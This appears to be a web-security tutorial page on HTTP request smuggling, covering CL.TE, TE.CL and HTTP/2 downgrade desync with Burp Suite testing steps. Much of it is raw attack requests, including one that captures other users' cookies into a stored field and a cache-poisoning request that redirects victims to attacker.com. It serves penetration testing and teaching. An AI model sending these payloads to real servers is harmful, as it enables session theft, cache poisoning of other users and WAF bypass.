HTTP Request Smuggling: CL.TE, TE.CL, and HTTP/2 Downgrade Attacks
HTTP request smuggling exploits discrepancies between how a front-end proxy (load balancer or CDN) and a back-end server interpret the boundary between HTTP requests. This desync allows attackers to "smuggle" a prefix of a subsequent request, interfering with other users' requests and enabling cache poisoning, session hijacking, and WAF bypass.
How Chunked Transfer Encoding Works
HTTP/1.1 provides two ways to specify message body length: the Content-Length header and the Transfer-Encoding: chunked header. In chunked encoding, the body is sent in hex-prefixed chunks terminated by a zero-length chunk:
POST /search HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
b
hello world
0
The chunk size b is hex for 11 — the length of "hello world". The 0
terminates the body. The conflict between CL and TE is the root cause of request smuggling.
CL.TE Attack (Front-end uses Content-Length, Back-end uses Transfer-Encoding)
The front-end forwards the full body based on Content-Length. The back-end processes chunks and stops at the zero-length chunk, leaving the remainder in its buffer as the start of the next request.
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
The front-end sees Content-Length: 13 and forwards 13 bytes (0
SMUGGLED). The back-end processes the chunked body: the 0 chunk ends the first request, and SMUGGLED is left in the buffer to prepend to the next request.
CL.TE Exploit: Capturing Another User's Request
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Transfer-Encoding: chunked
0
POST /capture HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
comment=
The next user's request will be appended after comment=, effectively capturing their headers (including cookies) into a comment field or other stored location.
TE.CL Attack (Front-end uses Transfer-Encoding, Back-end uses Content-Length)
The front-end processes chunks and forwards based on chunked boundaries. The back-end uses Content-Length and reads only that many bytes, leaving the chunk extension in its buffer.
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
5e
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
The front-end sees valid chunked encoding: a 0x5e (94) byte chunk followed by the terminating zero chunk. The back-end reads only 4 bytes based on Content-Length, leaving the rest to contaminate the next request.
Detecting Request Smuggling with Timing
CL.TE Timing Detection
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
If the server is vulnerable to CL.TE, it will be waiting for more chunked data after processing the 1
A
chunk, causing a timeout. A 10-30 second delay indicates CL.TE vulnerability.
TE.CL Timing Detection
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 6
0
X
The back-end waits for 6 bytes of body but only receives 5 (the zero chunk), causing a timeout.
Burp Suite Setup for Smuggling
Burp Suite's HTTP Request Smuggler extension automates detection and exploitation. Manual testing requires turning off automatic Content-Length update:
- Open Burp Repeater for the target request
- Disable "Update Content-Length" in the Repeater menu
- Use
notation carefully — the raw bytes matter - Send the request twice rapidly; observe if the second request returns an unexpected response
- Use the "HTTP Request Smuggler" extension for automated scanning
HTTP/2 Downgrade Smuggling
When a front-end accepts HTTP/2 but translates to HTTP/1.1 for the back-end, request smuggling becomes possible via HTTP/2's pseudo-headers and injection into header values.
H2.CL Attack
:method POST
:path /
:authority target.com
content-type application/x-www-form-urlencoded
content-length 0
GET /admin HTTP/1.1
Host: target.com
Content-Length: 10
x=
HTTP/2 doesn't use Transfer-Encoding, but when downgraded to HTTP/1.1, the injected Content-Length in the HTTP/2 body creates a smuggling opportunity.
Header Name Injection
# Inject
into an HTTP/2 header name
foo: bar
Transfer-Encoding: chunked
HTTP/2 forbids CRLF in headers but some implementations fail to strip them before downgrading, creating a TE.TE scenario.
Real-World Impact
WAF Bypass
Smuggle a malicious request through a WAF by hiding it in the body of a benign request. The WAF inspects the outer request, but the back-end processes the smuggled inner request without WAF inspection.
Cache Poisoning via Smuggling
POST / HTTP/1.1
Host: target.com
Content-Length: 118
Transfer-Encoding: chunked
0
GET /static/js/app.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
Content-Length: 10
x=
If the back-end caches the poisoned response (e.g., a redirect to attacker.com), all subsequent users requesting /static/js/app.js get the poisoned version.
Session Hijacking
By capturing other users' requests into a reflected endpoint, an attacker can steal session cookies, CSRF tokens, and other sensitive headers. This is particularly impactful on authenticated endpoints.
Testing Methodology
- Use Burp Scanner to automatically detect request smuggling
- Manually test with timing probes for both CL.TE and TE.CL
- Confirm with differential responses (smuggled prefix changes a subsequent response)
- Identify exploitable gadgets: stored reflection, open redirects, admin functionality
- Test HTTP/2 endpoints separately using Burp's HTTP/2 support
Request smuggling often enables Web Cache Poisoning as a follow-on attack. For header injection techniques related to CRLF, see our CRLF Injection Guide.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides